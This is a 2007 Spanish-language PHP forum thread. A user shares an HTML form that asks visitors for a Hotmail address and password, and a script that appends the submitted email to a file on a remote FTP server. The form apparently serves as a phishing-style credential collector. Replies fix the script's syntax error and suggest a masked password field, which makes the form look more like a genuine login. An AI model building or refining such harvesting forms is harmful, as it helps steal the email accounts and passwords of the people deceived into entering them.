PDA

Ver la versión completa : duda codigo php



knox18
09-09-2007, 16:11
aver stoi intentando krear komo una especie de base de datos.. xo en verdad es un pokito extraña.. estoi intentando volcar el contenido de un formulario en un archivo de texto plano.. aki indico el codigo
archivo principal



<html>
<body>

<FORM METHOD="post" ACTION="txt.php">

<p>Su cuenta de Correo <input type="text" name="Email" size="20" value="@hotmail.com">
<p>Su contraseña <input type="text" name="pass" size="20" value="******">

<input type="submit" value="enviar" name="enviar">

</body>
</html>

archivo txt.php



<?PHP;

if (isset($_post['enviar'])
{

if (@$fp = fopen("ftp://*****:******@ftp.usuarios.lycos.es/emails.txt","a"))
{
fwrite($fp,$_post['Email']."\r\n");
fclose($fp);
}
}

?>


El problema es k me da un error en la linea 4 del txt.php..


Parse error: syntax error, unexpected '{' in /data/members/free/tripod/es/t/r/e/trepones/htdocs/txt.php on line 4


e intentado por varios metodos xo no le encuentro solucion, x favor una ayuda me sentaria muy bien un saludo

gondar_f
09-09-2007, 20:37
txt.php esta en la misma carpeta que emails.txt?
si es así olvidate de la ruta y pon directamente "emails.txt".

Un Saludo

hystd
09-09-2007, 23:11
Parse error: syntax error, unexpected '{' in /data/members/free/tripod/es/t/r/e/trepones/htdocs/txt.php on line 4

Si observas el código de tu php, observas que el error es una tontería :)

Te has comido un paréntesis en la línea 3. Por eso te da un error de que ha encontrado un caracter inesperado '{' en la línea 4.


if (isset($_post['enviar'])

Al final de esa línea te falta un ')': if (isset($_post['enviar']))

Saludos

fracho
27-09-2007, 17:34
Una recomendación, cambia el type="text" en el campo de la contraseña:
<p>Su contraseña <input type="text" name="pass" size="20" value="******">

Utiliza mejor: type="password", así cuando el usuario escriba le saldrán automáticamente los ***** y cunado tú recibas el dato en tu php, te aparece el texto normal que escribió el usuario.

gondar_f
02-10-2007, 20:16
Te has comido un paréntesis en la línea 3. Por eso te da un error de que ha encontrado un caracter inesperado '{' en la línea 4
coño no lo veia, tienes razón hystd

Salu2